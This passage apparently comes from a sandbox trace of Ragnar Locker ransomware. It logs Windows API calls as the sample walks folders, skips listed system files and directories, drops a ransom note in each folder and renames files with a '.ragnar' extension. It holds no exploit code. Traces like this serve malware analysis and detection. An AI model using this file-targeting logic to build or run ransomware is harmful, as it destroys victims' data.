lpString2="RGNR_FD7BD9FC.txt") returned -1 [0051.675] lstrcmpiW (lpString1="msitss55.dll", lpString2="autorun.inf") returned 1 [0051.675] lstrcmpiW (lpString1="msitss55.dll", lpString2="boot.ini") returned 1 [0051.675] lstrcmpiW (lpString1="msitss55.dll", lpString2="bootfont.bin") returned 1 [0051.675] lstrcmpiW (lpString1="msitss55.dll", lpString2="bootsect.bak") returned 1 [0051.675] lstrcmpiW (lpString1="msitss55.dll", lpString2="bootmgr") returned 1 [0051.675] lstrcmpiW (lpString1="msitss55.dll", lpString2="bootmgr.efi") returned 1 [0051.675] lstrcmpiW (lpString1="msitss55.dll", lpString2="bootmgfw.efi") returned 1 [0051.675] lstrcmpiW (lpString1="msitss55.dll", lpString2="desktop.ini") returned 1 [0051.675] lstrcmpiW (lpString1="msitss55.dll", lpString2="iconcache.db") returned 1 [0051.676] lstrcmpiW (lpString1="msitss55.dll", lpString2="ntldr") returned -1 [0051.676] lstrcmpiW (lpString1="msitss55.dll", lpString2="ntuser.dat") returned -1 [0051.676] lstrcmpiW (lpString1="msitss55.dll", lpString2="ntuser.dat.log") returned -1 [0051.676] lstrcmpiW (lpString1="msitss55.dll", lpString2="ntuser.ini") returned -1 [0051.676] lstrcmpiW (lpString1="msitss55.dll", lpString2="thumbs.db") returned -1 [0051.676] lstrcmpiW (lpString1=".dll", lpString2=".db") returned 1 [0051.676] lstrcmpiW (lpString1=".dll", lpString2=".sys") returned -1 [0051.676] lstrcmpiW (lpString1=".dll", lpString2=".dll") returned 0 [0051.676] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7109e840, ftCreationTime.dwHighDateTime=0x1d5e0db, ftLastAccessTime.dwLowDateTime=0x7109e840, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x6e638060, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0xf59, dwReserved0=0x0, dwReserved1=0x0, cFileName="RGNR_FD7BD9FC.txt", cAlternateFileName="RGNR_F~1.TXT")) returned 1 [0051.676] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Help\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Help\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3b [0051.676] lstrcpyW (in: lpString1=0x1eb630, lpString2="RGNR_FD7BD9FC.txt" | out: lpString1="RGNR_FD7BD9FC.txt") returned="RGNR_FD7BD9FC.txt" [0051.676] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Help\\RGNR_FD7BD9FC.txt") returned=".txt" [0051.676] lstrcmpiW (lpString1="RGNR_FD7BD9FC.txt", lpString2="RGNR_FD7BD9FC.txt") returned 0 [0051.676] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7109e840, ftCreationTime.dwHighDateTime=0x1d5e0db, ftLastAccessTime.dwLowDateTime=0x7109e840, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x6e638060, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0xf59, dwReserved0=0x0, dwReserved1=0x0, cFileName="RGNR_FD7BD9FC.txt", cAlternateFileName="RGNR_F~1.TXT")) returned 0 [0051.676] FindClose (in: hFindFile=0x5a1328 | out: hFindFile=0x5a1328) returned 1 [0051.676] FindNextFileW (in: hFindFile=0x5a12e8, lpFindFileData=0x1ec2a0 | out: lpFindFileData=0x1ec2a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7545b2, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x9e0df36a, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9e0df36a, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ink", cAlternateFileName="")) returned 1 [0051.676] lstrcmpiW (lpString1="ink", lpString2=".") returned 1 [0051.676] lstrcmpiW (lpString1="ink", lpString2="..") returned 1 [0051.676] lstrcmpiW (lpString1="ink", lpString2="Windows") returned -1 [0051.676] lstrcmpiW (lpString1="ink", lpString2="Windows.old") returned -1 [0051.676] lstrcmpiW (lpString1="ink", lpString2="Tor browser") returned -1 [0051.676] lstrcmpiW (lpString1="ink", lpString2="Internet Explorer") returned -1 [0051.676] lstrcmpiW (lpString1="ink", lpString2="Google") returned 1 [0051.676] lstrcmpiW (lpString1="ink", lpString2="Opera") returned -1 [0051.676] lstrcmpiW (lpString1="ink", lpString2="Opera Software") returned -1 [0051.676] lstrcmpiW (lpString1="ink", lpString2="Mozilla") returned -1 [0051.676] lstrcmpiW (lpString1="ink", lpString2="Mozilla Firefox") returned -1 [0051.676] lstrcmpiW (lpString1="ink", lpString2="$Recycle.Bin") returned 1 [0051.676] lstrcmpiW (lpString1="ink", lpString2="ProgramData") returned -1 [0051.676] lstrcmpiW (lpString1="ink", lpString2="All Users") returned 1 [0051.676] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\*.*", nBufferLength=0x104, lpBuffer=0x1ec098, lpFilePart=0x1ec544 | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\*.*", lpFilePart=0x1ec544*="*.*") returned 0x36 [0051.676] lstrcpyW (in: lpString1=0x1ec0fe, lpString2="ink" | out: lpString1="ink") returned="ink" [0051.676] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink", lpString2="\\" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\" [0051.677] lstrcpyW (in: lpString1=0x1ebe8c, lpString2="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\" [0051.677] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\", lpString2="RGNR_FD7BD9FC.txt" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\RGNR_FD7BD9FC.txt") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\RGNR_FD7BD9FC.txt" [0051.677] CopyFileW (lpExistingFileName="C:\\Users\\Public\\Documents\\RGNR_FD7BD9FC.txt" (normalized: "c:\\users\\public\\documents\\rgnr_fd7bd9fc.txt"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\RGNR_FD7BD9FC.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\rgnr_fd7bd9fc.txt"), bFailIfExists=1) returned 1 [0051.683] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\", lpString2="*.*" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\*.*") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\*.*" [0051.683] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\*.*", nBufferLength=0x104, lpBuffer=0x1eb1ac, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0051.683] lstrcpyW (in: lpString1=0x1eafa4, lpString2="*.*" | out: lpString1="*.*") returned="*.*" [0051.683] lstrcpyW (in: lpString1=0x1eb21a, lpString2="*.*" | out: lpString1="*.*") returned="*.*" [0051.683] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\*.*", lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7545b2, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x710c49a0, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x710c49a0, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5a1328 [0051.683] lstrcmpiW (lpString1=".", lpString2=".") returned 0 [0051.683] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7545b2, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x710c49a0, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x710c49a0, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0051.683] lstrcmpiW (lpString1="..", lpString2=".") returned 1 [0051.683] lstrcmpiW (lpString1="..", lpString2="..") returned 0 [0051.683] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6c2bbccc, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0x6c2bbccc, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x90daefa5, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc1486, dwReserved0=0x0, dwReserved1=0x0, cFileName="Alphabet.xml", cAlternateFileName="")) returned 1 [0051.683] lstrcmpiW (lpString1="Alphabet.xml", lpString2=".") returned 1 [0051.683] lstrcmpiW (lpString1="Alphabet.xml", lpString2="..") returned 1 [0051.683] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7545b2, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7545b2, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7545b2, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ar-SA", cAlternateFileName="")) returned 1 [0051.683] lstrcmpiW (lpString1="ar-SA", lpString2=".") returned 1 [0051.683] lstrcmpiW (lpString1="ar-SA", lpString2="..") returned 1 [0051.683] lstrcmpiW (lpString1="ar-SA", lpString2="Windows") returned -1 [0051.683] lstrcmpiW (lpString1="ar-SA", lpString2="Windows.old") returned -1 [0051.683] lstrcmpiW (lpString1="ar-SA", lpString2="Tor browser") returned -1 [0051.683] lstrcmpiW (lpString1="ar-SA", lpString2="Internet Explorer") returned -1 [0051.683] lstrcmpiW (lpString1="ar-SA", lpString2="Google") returned -1 [0051.683] lstrcmpiW (lpString1="ar-SA", lpString2="Opera") returned -1 [0051.683] lstrcmpiW (lpString1="ar-SA", lpString2="Opera Software") returned -1 [0051.683] lstrcmpiW (lpString1="ar-SA", lpString2="Mozilla") returned -1 [0051.683] lstrcmpiW (lpString1="ar-SA", lpString2="Mozilla Firefox") returned -1 [0051.683] lstrcmpiW (lpString1="ar-SA", lpString2="$Recycle.Bin") returned 1 [0051.683] lstrcmpiW (lpString1="ar-SA", lpString2="ProgramData") returned -1 [0051.684] lstrcmpiW (lpString1="ar-SA", lpString2="All Users") returned 1 [0051.684] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0051.684] lstrcpyW (in: lpString1=0x1eb62e, lpString2="ar-SA" | out: lpString1="ar-SA") returned="ar-SA" [0051.684] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ar-SA", lpString2="\\" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ar-SA\\") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ar-SA\\" [0051.684] lstrcpyW (in: lpString1=0x1eb3b4, lpString2="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ar-SA\\" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ar-SA\\") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ar-SA\\" [0051.684] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ar-SA\\", lpString2="RGNR_FD7BD9FC.txt" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ar-SA\\RGNR_FD7BD9FC.txt") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ar-SA\\RGNR_FD7BD9FC.txt" [0051.684] CopyFileW (lpExistingFileName="C:\\Users\\Public\\Documents\\RGNR_FD7BD9FC.txt" (normalized: "c:\\users\\public\\documents\\rgnr_fd7bd9fc.txt"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ar-SA\\RGNR_FD7BD9FC.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ar-sa\\rgnr_fd7bd9fc.txt"), bFailIfExists=1) returned 1 [0051.687] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ar-SA\\", lpString2="*.*" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ar-SA\\*.*") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ar-SA\\*.*" [0051.687] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ar-SA\\*.*", nBufferLength=0x104, lpBuffer=0x1ea6d4, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ar-SA\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x40 [0051.687] lstrcpyW (in: lpString1=0x1ea4cc, lpString2="*.*" | out: lpString1="*.*") returned="*.*" [0051.687] lstrcpyW (in: lpString1=0x1ea74e, lpString2="*.*" | out: lpString1="*.*") returned="*.*" [0051.687] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ar-SA\\*.*", lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7545b2, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x710c49a0, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x710c49a0, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5a1368 [0051.688] lstrcmpiW (lpString1=".", lpString2=".") returned 0 [0051.688] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7545b2, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x710c49a0, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x710c49a0, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0051.688] lstrcmpiW (lpString1="..", lpString2=".") returned 1 [0051.688] lstrcmpiW (lpString1="..", lpString2="..") returned 0 [0051.688] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x710c49a0, ftCreationTime.dwHighDateTime=0x1d5e0db, ftLastAccessTime.dwLowDateTime=0x710c49a0, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x6e638060, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0xf59, dwReserved0=0x0, dwReserved1=0x0, cFileName="RGNR_FD7BD9FC.txt", cAlternateFileName="RGNR_F~1.TXT")) returned 1 [0051.688] lstrcmpiW (lpString1="RGNR_FD7BD9FC.txt", lpString2=".") returned 1 [0051.688] lstrcmpiW (lpString1="RGNR_FD7BD9FC.txt", lpString2="..") returned 1 [0051.688] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe846a08f, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe86330eb, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe8659248, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0051.688] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2=".") returned 1 [0051.688] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2="..") returned 1 [0051.688] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe846a08f, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe86330eb, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe8659248, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0051.688] FindClose (in: hFindFile=0x5a1368 | out: hFindFile=0x5a1368) returned 1 [0051.688] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ar-SA\\*.*", lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7545b2, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x710c49a0, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x710c49a0, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5a1368 [0051.688] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7545b2, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x710c49a0, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x710c49a0, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0051.688] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x710c49a0, ftCreationTime.dwHighDateTime=0x1d5e0db, ftLastAccessTime.dwLowDateTime=0x710c49a0, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x6e638060, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0xf59, dwReserved0=0x0, dwReserved1=0x0, cFileName="RGNR_FD7BD9FC.txt", cAlternateFileName="RGNR_F~1.TXT")) returned 1 [0051.688] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ar-SA\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ar-SA\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x40 [0051.688] lstrcpyW (in: lpString1=0x1eab62, lpString2="RGNR_FD7BD9FC.txt" | out: lpString1="RGNR_FD7BD9FC.txt") returned="RGNR_FD7BD9FC.txt" [0051.688] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ar-SA\\RGNR_FD7BD9FC.txt") returned=".txt" [0051.688] lstrcmpiW (lpString1="RGNR_FD7BD9FC.txt", lpString2="RGNR_FD7BD9FC.txt") returned 0 [0051.688] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe846a08f, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe86330eb, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe8659248, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0051.688] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ar-SA\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ar-SA\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x40 [0051.688] lstrcpyW (in: lpString1=0x1eab62, lpString2="tipresx.dll.mui" | out: lpString1="tipresx.dll.mui") returned="tipresx.dll.mui" [0051.688] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ar-SA\\tipresx.dll.mui") returned=".mui" [0051.689] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2="RGNR_FD7BD9FC.txt") returned 1 [0051.689] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2="autorun.inf") returned 1 [0051.689] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2="boot.ini") returned 1 [0051.689] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2="bootfont.bin") returned 1 [0051.689] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2="bootsect.bak") returned 1 [0051.689] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2="bootmgr") returned 1 [0051.689] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2="bootmgr.efi") returned 1 [0051.689] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2="bootmgfw.efi") returned 1 [0051.689] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2="desktop.ini") returned 1 [0051.689] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2="iconcache.db") returned 1 [0051.689] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2="ntldr") returned 1 [0051.689] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2="ntuser.dat") returned 1 [0051.689] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2="ntuser.dat.log") returned 1 [0051.689] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2="ntuser.ini") returned 1 [0051.689] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2="thumbs.db") returned 1 [0051.689] lstrcmpiW (lpString1=".mui", lpString2=".db") returned 1 [0051.689] lstrcmpiW (lpString1=".mui", lpString2=".sys") returned -1 [0051.689] lstrcmpiW (lpString1=".mui", lpString2=".dll") returned 1 [0051.689] lstrcmpiW (lpString1=".mui", lpString2=".lnk") returned 1 [0051.689] lstrcmpiW (lpString1=".mui", lpString2=".msi") returned 1 [0051.689] lstrcmpiW (lpString1=".mui", lpString2=".drv") returned 1 [0051.689] lstrcmpiW (lpString1=".mui", lpString2=".exe") returned 1 [0051.689] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ar-SA\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ar-sa\\tipresx.dll.mui")) returned 0x20 [0051.709] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ar-SA\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ar-sa\\tipresx.dll.mui"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xffffffff [0051.709] CloseHandle (hObject=0xffffffff) returned 0 [0051.709] lstrcpyW (in: lpString1=0x1ea008, lpString2="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ar-SA\\tipresx.dll.mui" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ar-SA\\tipresx.dll.mui") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ar-SA\\tipresx.dll.mui" [0051.709] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ar-SA\\tipresx.dll.mui", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ar-SA\\tipresx.dll.mui.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ar-SA\\tipresx.dll.mui.ragnar_FD7BD9FC" [0051.709] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ar-SA\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ar-sa\\tipresx.dll.mui"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ar-SA\\tipresx.dll.mui.ragnar_FD7BD9FC" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ar-sa\\tipresx.dll.mui.ragnar_fd7bd9fc"), dwFlags=0x3) returned 0 [0051.709] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe846a08f, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe86330eb, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe8659248, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0051.709] FindClose (in: hFindFile=0x5a1368 | out: hFindFile=0x5a1368) returned 1 [0051.709] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7545b2, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7545b2, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7545b2, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="bg-BG", cAlternateFileName="")) returned 1 [0051.709] lstrcmpiW (lpString1="bg-BG", lpString2=".") returned 1 [0051.710] lstrcmpiW (lpString1="bg-BG", lpString2="..") returned 1 [0051.710] lstrcmpiW (lpString1="bg-BG", lpString2="Windows") returned -1 [0051.710] lstrcmpiW (lpString1="bg-BG", lpString2="Windows.old") returned -1 [0051.710] lstrcmpiW (lpString1="bg-BG", lpString2="Tor browser") returned -1 [0051.710] lstrcmpiW (lpString1="bg-BG", lpString2="Internet Explorer") returned -1 [0051.710] lstrcmpiW (lpString1="bg-BG", 